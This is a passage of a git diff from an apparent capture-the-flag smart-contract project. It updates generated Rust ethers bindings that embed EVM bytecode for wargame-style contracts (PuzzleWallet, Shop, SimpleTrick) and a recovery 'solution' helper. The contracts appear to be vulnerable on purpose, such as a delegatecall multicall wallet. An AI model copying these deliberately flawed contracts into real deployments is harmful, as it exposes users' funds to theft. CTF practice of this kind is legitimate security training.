T`\xFF\x16a\x06JW`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`\x01TG\x11\x15a\x06\x92W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x13X^\x08\x18\x98[\x18[\x98\xD9H\x1C\x99XX\xDA\x19Y`j\x1B`D\x82\x01R`d\x01a\x02#V[3`\0\x90\x81R`\x03` R`@\x81 \x80T4\x92\x90a\x06\xB1\x90\x84\x90a\t^V[\x90\x91UPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x07\x02W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\r`$\x82\x01Rl'7\xBA\x10:42\x907\xBB\xB72\xB9`\x99\x1B`D\x82\x01R`d\x01a\x02#V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R`\x02` R`@\x90 \x80T`\xFF\x19\x16`\x01\x17\x90UV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07=W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x07TW`\0\x80\xFD[a\x07]\x82a\x07&V[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x07vW`\0\x80\xFD[P5\x91\x90PV[`\0\x80` \x83\x85\x03\x12\x15a\x07\x90W`\0\x80\xFD[\x825g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x07\xA8W`\0\x80\xFD[\x81\x85\x01\x91P\x85`\x1F\x83\x01\x12a\x07\xBCW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x07\xCBW`\0\x80\xFD[\x86` \x82`\x05\x1B\x85\x01\x01\x11\x15a\x07\xE0W`\0\x80\xFD[` \x92\x90\x92\x01\x96\x91\x95P\x90\x93PPPPV[`\0\x80`\0\x80``\x85\x87\x03\x12\x15a\x08\x08W`\0\x80\xFD[a\x08\x11\x85a\x07&V[\x93P` \x85\x015\x92P`@\x85\x015g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x085W`\0\x80\xFD[\x81\x87\x01\x91P\x87`\x1F\x83\x01\x12a\x08IW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x08XW`\0\x80\xFD[\x88` \x82\x85\x01\x01\x11\x15a\x08jW`\0\x80\xFD[\x95\x98\x94\x97PP` \x01\x94PPPV[` \x80\x82R`\x0F\x90\x82\x01Rn\x13\x9B\xDD\x08\x1D\xDA\x1A]\x19[\x1A\\\xDD\x19Y`\x8A\x1B`@\x82\x01R``\x01\x90V[cNH{q`\xE0\x1B`\0R`2`\x04R`$`\0\xFD[`\0\x80\x835`\x1E\x19\x846\x03\x01\x81\x12a\x08\xCFW`\0\x80\xFD[\x83\x01\x805\x91Pg\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x11\x15a\x08\xEAW`\0\x80\xFD[` \x01\x91P6\x81\x90\x03\x82\x13\x15a\x08\xFFW`\0\x80\xFD[\x92P\x92\x90PV[\x81\x83\x827`\0\x91\x01\x90\x81R\x91\x90PV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0`\x01\x82\x01a\t>Wa\t>a\t\x16V[P`\x01\x01\x90V[\x81\x81\x03\x81\x81\x11\x15a\tXWa\tXa\t\x16V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\tXWa\tXa\t\x16V\xFE\xA2dipfsX\"\x12 \xC9E\xBD\x14B)\x91\x05\xFA|\xCEc\xC4(\x88<\xC4\xD1\xED\x18 \xE94\xD8\xE6\xBDe\r\x8AB\xA6\xA6dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0\x91W`\x005`\xE0\x1C\x80c\xB6\x1D'\xF6\x11a\0YW\x80c\xB6\x1D'\xF6\x14a\x01YW\x80c\xB7\xB0B-\x14a\x01lW\x80c\xD0\xE3\r\xB0\x14a\x01\x8CW\x80c\xD96T~\x14a\x01\x94W\x80c\xE42R\xD7\x14a\x01\xD4W`\0\x80\xFD[\x80c'\xE25\xE3\x14a\0\x96W\x80cs\xADF\x8A\x14a\0\xD6W\x80c\x8D\xA5\xCB[\x14a\0\xECW\x80c\x9DQ\xD9\xB7\x14a\x01$W\x80c\xAC\x96P\xD8\x14a\x01FW[`\0\x80\xFD[4\x80\x15a\0\xA2W`\0\x80\xFD[Pa\0\xC3a\0\xB16`\x04a\x07BV[`\x03` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xE2W`\0\x80\xFD[Pa\0\xC3`\x01T\x81V[4\x80\x15a\0\xF8W`\0\x80\xFD[P`\0Ta\x01\x0C\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0\xCDV[4\x80\x15a\x010W`\0\x80\xFD[Pa\x01Da\x01?6`\x04a\x07dV[a\x01\xF4V[\0[a\x01Da\x01T6`\x04a\x07}V[a\x02\x7FV[a\x01Da\x01g6`\x04a\x07\xF2V[a\x04iV[4\x80\x15a\x01xW`\0\x80\xFD[Pa\x01Da\x01\x876`\x04a\x07dV[a\x05\xBEV[a\x01Da\x06\x1BV[4\x80\x15a\x01\xA0W`\0\x80\xFD[Pa\x01\xC4a\x01\xAF6`\x04a\x07BV[`\x02` R`\0\x90\x81R`@\x90 T`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0\xCDV[4\x80\x15a\x01\xE0W`\0\x80\xFD[Pa\x01Da\x01\xEF6`\x04a\x07BV[a\x06\xB8V[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x02,W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`@Q\x80\x91\x03\x90\xFD[G\x15a\x02zW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x19`$\x82\x01R\x7FContract balance is not 0\0\0\0\0\0\0\0`D\x82\x01R`d\x01a\x02#V[`\x01UV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x02\xAEW`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`\0\x80[\x82\x81\x10\x15a\x04cW`\0\x84\x84\x83\x81\x81\x10a\x02\xCEWa\x02\xCEa\x08\xA2V[\x90P` \x02\x81\x01\x90a\x02\xE0\x91\x90a\x08\xB8V[\x80\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x93\x92\x91\x90\x81\x81R` \x01\x83\x83\x80\x82\x847`\0\x92\x01\x91\x90\x91RPPP` \x82\x01Q\x91\x92PPc\x02\xF1\xCF%`\xE4\x1B`\x01`\x01`\xE0\x1B\x03\x19\x82\x16\x01a\x03\x87W\x83\x15a\x03\x82W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1F`$\x82\x01R\x7FDeposit can only be called once\0`D\x82\x01R`d\x01a\x02#V[`\x01\x93P[`\x000\x87\x87\x86\x81\x81\x10a\x03\x9CWa\x03\x9Ca\x08\xA2V[\x90P` \x02\x81\x01\x90a\x03\xAE\x91\x90a\x08\xB8V[`@Qa\x03\xBC\x92\x91\x90a\t\x06V[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x03\xF7W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x03\xFCV[``\x91P[PP\x90P\x80a\x04MW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x1B`$\x82\x01R\x7FError while delegating call\0\0\0\0\0`D\x82\x01R`d\x01a\x02#V[PPP\x80\x80a\x04[\x90a\t,V[\x91PPa\x02\xB2V[PPPPV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x04\x98W`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[3`\0\x90\x81R`\x03` R`@\x90 T\x83\x11\x15a\x04\xEEW`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x14`$\x82\x01RsInsufficient balance``\x1B`D\x82\x01R`d\x01a\x02#V[3`\0\x90\x81R`\x03` R`@\x81 \x80T\x85\x92\x90a\x05\r\x90\x84\x90a\tEV[\x92PP\x81\x90UP`\0\x84`\x01`\x01`\xA0\x1B\x03\x16\x84\x84\x84`@Qa\x051\x92\x91\x90a\t\x06V[`\0`@Q\x80\x83\x03\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x05nW`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x05sV[``\x91P[PP\x90P\x80a\x05\xB7W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x10`$\x82\x01Ro\x11^\x19X\xDD]\x1A[\xDB\x88\x19\x98Z[\x19Y`\x82\x1B`D\x82\x01R`d\x01a\x02#V[PPPPPV[`\x01T\x15a\x06\x04W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x10[\x1C\x99XY\x1EH\x1A[\x9A]\x1AX[\x1A^\x99Y`j\x1B`D\x82\x01R`d\x01a\x02#V[`\x01U`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90UV[3`\0\x90\x81R`\x02` R`@\x90 T`\xFF\x16a\x06JW`@QbF\x1B\xCD`\xE5\x1B\x81R`\x04\x01a\x02#\x90a\x08yV[`\x01TG\x11\x15a\x06\x92W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\x13`$\x82\x01Rr\x13X^\x08\x18\x98[\x18[\x98\xD9H\x1C\x99XX\xDA\x19Y`j\x1B`D\x82\x01R`d\x01a\x02#V[3`\0\x90\x81R`\x03` R`@\x81 \x80T4\x92\x90a\x06\xB1\x90\x84\x90a\t^V[\x90\x91UPPV[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14a\x07\x02W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`\r`$\x82\x01Rl'7\xBA\x10:42\x907\xBB\xB72\xB9`\x99\x1B`D\x82\x01R`d\x01a\x02#V[`\x01`\x01`\xA0\x1B\x03\x16`\0\x90\x81R`\x02` R`@\x90 \x80T`\xFF\x19\x16`\x01\x17\x90UV[\x805`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\x07=W`\0\x80\xFD[\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x07TW`\0\x80\xFD[a\x07]\x82a\x07&V[\x93\x92PPPV[`\0` \x82\x84\x03\x12\x15a\x07vW`\0\x80\xFD[P5\x91\x90PV[`\0\x80` \x83\x85\x03\x12\x15a\x07\x90W`\0\x80\xFD[\x825g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x07\xA8W`\0\x80\xFD[\x81\x85\x01\x91P\x85`\x1F\x83\x01\x12a\x07\xBCW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x07\xCBW`\0\x80\xFD[\x86` \x82`\x05\x1B\x85\x01\x01\x11\x15a\x07\xE0W`\0\x80\xFD[` \x92\x90\x92\x01\x96\x91\x95P\x90\x93PPPPV[`\0\x80`\0\x80``\x85\x87\x03\x12\x15a\x08\x08W`\0\x80\xFD[a\x08\x11\x85a\x07&V[\x93P` \x85\x015\x92P`@\x85\x015g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\x085W`\0\x80\xFD[\x81\x87\x01\x91P\x87`\x1F\x83\x01\x12a\x08IW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x08XW`\0\x80\xFD[\x88` \x82\x85\x01\x01\x11\x15a\x08jW`\0\x80\xFD[\x95\x98\x94\x97PP` \x01\x94PPPV[` \x80\x82R`\x0F\x90\x82\x01Rn\x13\x9B\xDD\x08\x1D\xDA\x1A]\x19[\x1A\\\xDD\x19Y`\x8A\x1B`@\x82\x01R``\x01\x90V[cNH{q`\xE0\x1B`\0R`2`\x04R`$`\0\xFD[`\0\x80\x835`\x1E\x19\x846\x03\x01\x81\x12a\x08\xCFW`\0\x80\xFD[\x83\x01\x805\x91Pg\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x11\x15a\x08\xEAW`\0\x80\xFD[` \x01\x91P6\x81\x90\x03\x82\x13\x15a\x08\xFFW`\0\x80\xFD[\x92P\x92\x90PV[\x81\x83\x827`\0\x91\x01\x90\x81R\x91\x90PV[cNH{q`\xE0\x1B`\0R`\x11`\x04R`$`\0\xFD[`\0`\x01\x82\x01a\t>Wa\t>a\t\x16V[P`\x01\x01\x90V[\x81\x81\x03\x81\x81\x11\x15a\tXWa\tXa\t\x16V[\x92\x91PPV[\x80\x82\x01\x80\x82\x11\x15a\tXWa\tXa\t\x16V\xFE\xA2dipfsX\"\x12 &'\x84\x89\x01\xE4>\x13\x99\xD0\xF5\x9CM#^\"?\xB9\xB4\t\x80\x98\xC0\x83\x1A\xEB[\0\x19h\r\xDAdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static PUZZLEWALLET_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/recovery_solution.rs b/ctf/src/abi/recovery_solution.rs index 6285538..1140693 100644 --- a/ctf/src/abi/recovery_solution.rs +++ b/ctf/src/abi/recovery_solution.rs @@ -48,12 +48,12 @@ pub mod recovery_solution { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x01\x12\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c\xD29\x06\xFC\x14`-W[`\0\x80\xFD[`\x92`86`\x04`\xAEV[`@\x80Q`k`\xF9\x1B` \x80\x83\x01\x91\x90\x91R`%`\xFA\x1B`!\x83\x01R``\x93\x90\x93\x1Bk\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x19\x16`\"\x82\x01R`\x01`\xF8\x1B`6\x82\x01R\x81Q`\x17\x81\x83\x03\x01\x81R`7\x90\x91\x01\x90\x91R\x80Q\x91\x01 \x90V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15`\xBFW`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\xD5W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xD0I\x16\xEA\xD5\xB5\xE7#\xDDS\xC3A\xE8\x88\x1F=\x0EE\x9C\xF8\x8F\xA1Y'\t&\xA16\x90\xE2\xD6\x8FdsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x01\x12\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c\xD29\x06\xFC\x14`-W[`\0\x80\xFD[`\x92`86`\x04`\xAEV[`@\x80Q`k`\xF9\x1B` \x80\x83\x01\x91\x90\x91R`%`\xFA\x1B`!\x83\x01R``\x93\x90\x93\x1Bk\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x19\x16`\"\x82\x01R`\x01`\xF8\x1B`6\x82\x01R\x81Q`\x17\x81\x83\x03\x01\x81R`7\x90\x91\x01\x90\x91R\x80Q\x91\x01 \x90V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15`\xBFW`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\xD5W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 bx\x05dE\x02\xE7\xAD:WBsg\xD8\xEA\x8C\x86u\x8F\xE6\x10.u\nF\x9C_\x1F\xDF$\xF5_dsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static RECOVERYSOLUTION_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c\xD29\x06\xFC\x14`-W[`\0\x80\xFD[`\x92`86`\x04`\xAEV[`@\x80Q`k`\xF9\x1B` \x80\x83\x01\x91\x90\x91R`%`\xFA\x1B`!\x83\x01R``\x93\x90\x93\x1Bk\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x19\x16`\"\x82\x01R`\x01`\xF8\x1B`6\x82\x01R\x81Q`\x17\x81\x83\x03\x01\x81R`7\x90\x91\x01\x90\x91R\x80Q\x91\x01 \x90V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15`\xBFW`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\xD5W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \xD0I\x16\xEA\xD5\xB5\xE7#\xDDS\xC3A\xE8\x88\x1F=\x0EE\x9C\xF8\x8F\xA1Y'\t&\xA16\x90\xE2\xD6\x8FdsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80c\xD29\x06\xFC\x14`-W[`\0\x80\xFD[`\x92`86`\x04`\xAEV[`@\x80Q`k`\xF9\x1B` \x80\x83\x01\x91\x90\x91R`%`\xFA\x1B`!\x83\x01R``\x93\x90\x93\x1Bk\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x19\x16`\"\x82\x01R`\x01`\xF8\x1B`6\x82\x01R\x81Q`\x17\x81\x83\x03\x01\x81R`7\x90\x91\x01\x90\x91R\x80Q\x91\x01 \x90V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`\0` \x82\x84\x03\x12\x15`\xBFW`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\xD5W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 bx\x05dE\x02\xE7\xAD:WBsg\xD8\xEA\x8C\x86u\x8F\xE6\x10.u\nF\x9C_\x1F\xDF$\xF5_dsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static RECOVERYSOLUTION_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = diff --git a/ctf/src/abi/shop.rs b/ctf/src/abi/shop.rs index 5e5d6b1..30af0ab 100644 --- a/ctf/src/abi/shop.rs +++ b/ctf/src/abi/shop.rs @@ -80,12 +80,12 @@ pub mod shop { pub static SHOP_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R`d`\0U4\x80\x15a\0\x15W`\0\x80\xFD[Pa\x01\xD4\x80a\0%`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\xA05\xB1\xFE\x14a\0FW\x80c\xA6\xF2\xAE:\x14a\0bW\x80c\xE8R\xE7A\x14a\0lW[`\0\x80\xFD[a\0O`\0T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0ja\0\x89V[\0[`\x01Ta\0y\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0YV[`\x003\x90P`\0T\x81`\x01`\x01`\xA0\x1B\x03\x16c\xA05\xB1\xFE`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\0\xCFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\0\xF3\x91\x90a\x01\x85V[\x10\x15\x80\x15a\x01\x04WP`\x01T`\xFF\x16\x15[\x15a\x01\x82W`\x01\x80T`\xFF\x19\x16\x81\x17\x90U`@\x80QcP\x1A\xD8\xFF`\xE1\x1B\x81R\x90Q`\x01`\x01`\xA0\x1B\x03\x83\x16\x91c\xA05\xB1\xFE\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01ZW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01~\x91\x90a\x01\x85V[`\0U[PV[`\0` \x82\x84\x03\x12\x15a\x01\x97W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 \xFB\x8D\xCE\x99WI\x1EI\xD3}\x83\x18\xB0\x9C\x07\x96\xADy\x82\xE3\x0F\xB7o\xE7\x1FpQY\xD1\t\xF1?dsolcC\0\x08\x15\x003"; + const __BYTECODE: &[u8] = b"`\x80`@R`d`\0U4\x80\x15a\0\x15W`\0\x80\xFD[Pa\x01\xD4\x80a\0%`\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\xA05\xB1\xFE\x14a\0FW\x80c\xA6\xF2\xAE:\x14a\0bW\x80c\xE8R\xE7A\x14a\0lW[`\0\x80\xFD[a\0O`\0T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0ja\0\x89V[\0[`\x01Ta\0y\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0YV[`\x003\x90P`\0T\x81`\x01`\x01`\xA0\x1B\x03\x16c\xA05\xB1\xFE`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\0\xCFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\0\xF3\x91\x90a\x01\x85V[\x10\x15\x80\x15a\x01\x04WP`\x01T`\xFF\x16\x15[\x15a\x01\x82W`\x01\x80T`\xFF\x19\x16\x81\x17\x90U`@\x80QcP\x1A\xD8\xFF`\xE1\x1B\x81R\x90Q`\x01`\x01`\xA0\x1B\x03\x83\x16\x91c\xA05\xB1\xFE\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01ZW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01~\x91\x90a\x01\x85V[`\0U[PV[`\0` \x82\x84\x03\x12\x15a\x01\x97W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 \xF5<\xDF\xAC\"\xD8\xFF\xC4+b\"\xED\xC2\xB8\xBD\xBA\x1DY\x91\xBBJ\xD5\xE4\x8E\x94\x01\xD0\xD3&7\x88\xFDdsolcC\0\x08\x15\x003"; /// The bytecode of the contract. pub static SHOP_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__BYTECODE); #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\xA05\xB1\xFE\x14a\0FW\x80c\xA6\xF2\xAE:\x14a\0bW\x80c\xE8R\xE7A\x14a\0lW[`\0\x80\xFD[a\0O`\0T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0ja\0\x89V[\0[`\x01Ta\0y\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0YV[`\x003\x90P`\0T\x81`\x01`\x01`\xA0\x1B\x03\x16c\xA05\xB1\xFE`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\0\xCFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\0\xF3\x91\x90a\x01\x85V[\x10\x15\x80\x15a\x01\x04WP`\x01T`\xFF\x16\x15[\x15a\x01\x82W`\x01\x80T`\xFF\x19\x16\x81\x17\x90U`@\x80QcP\x1A\xD8\xFF`\xE1\x1B\x81R\x90Q`\x01`\x01`\xA0\x1B\x03\x83\x16\x91c\xA05\xB1\xFE\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01ZW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01~\x91\x90a\x01\x85V[`\0U[PV[`\0` \x82\x84\x03\x12\x15a\x01\x97W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 \xFB\x8D\xCE\x99WI\x1EI\xD3}\x83\x18\xB0\x9C\x07\x96\xADy\x82\xE3\x0F\xB7o\xE7\x1FpQY\xD1\t\xF1?dsolcC\0\x08\x15\x003"; + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c\xA05\xB1\xFE\x14a\0FW\x80c\xA6\xF2\xAE:\x14a\0bW\x80c\xE8R\xE7A\x14a\0lW[`\0\x80\xFD[a\0O`\0T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0ja\0\x89V[\0[`\x01Ta\0y\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0YV[`\x003\x90P`\0T\x81`\x01`\x01`\xA0\x1B\x03\x16c\xA05\xB1\xFE`@Q\x81c\xFF\xFF\xFF\xFF\x16`\xE0\x1B\x81R`\x04\x01` `@Q\x80\x83\x03\x81\x86Z\xFA\x15\x80\x15a\0\xCFW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\0\xF3\x91\x90a\x01\x85V[\x10\x15\x80\x15a\x01\x04WP`\x01T`\xFF\x16\x15[\x15a\x01\x82W`\x01\x80T`\xFF\x19\x16\x81\x17\x90U`@\x80QcP\x1A\xD8\xFF`\xE1\x1B\x81R\x90Q`\x01`\x01`\xA0\x1B\x03\x83\x16\x91c\xA05\xB1\xFE\x91`\x04\x80\x83\x01\x92` \x92\x91\x90\x82\x90\x03\x01\x81\x86Z\xFA\x15\x80\x15a\x01ZW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01~\x91\x90a\x01\x85V[`\0U[PV[`\0` \x82\x84\x03\x12\x15a\x01\x97W`\0\x80\xFD[PQ\x91\x90PV\xFE\xA2dipfsX\"\x12 \xF5<\xDF\xAC\"\xD8\xFF\xC4+b\"\xED\xC2\xB8\xBD\xBA\x1DY\x91\xBBJ\xD5\xE4\x8E\x94\x01\xD0\xD3&7\x88\xFDdsolcC\0\x08\x15\x003"; /// The deployed bytecode of the contract. pub static SHOP_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); diff --git a/ctf/src/abi/simple_trick.rs b/ctf/src/abi/simple_trick.rs index 6c24c4f..8a1ef63 100644 --- a/ctf/src/abi/simple_trick.rs +++ b/ctf/src/abi/simple_trick.rs @@ -131,12 +131,12 @@ pub mod simple_trick { ::ethers::core::abi::Abi, > = ::ethers::contract::Lazy::new(__abi); #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@RB`\x02U4\x80\x15a\0\x14W`\0\x80\xFD[P`@Qa\x02p8\x03\x80a\x02p\x839\x81\x01`@\x81\x90Ra\x003\x91a\0XV[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x16`\x01`\x01`\xA0\x1B\x03\x92\x90\x92\x16\x91\x90\x91\x17\x90Ua\0\x88V[`\0` 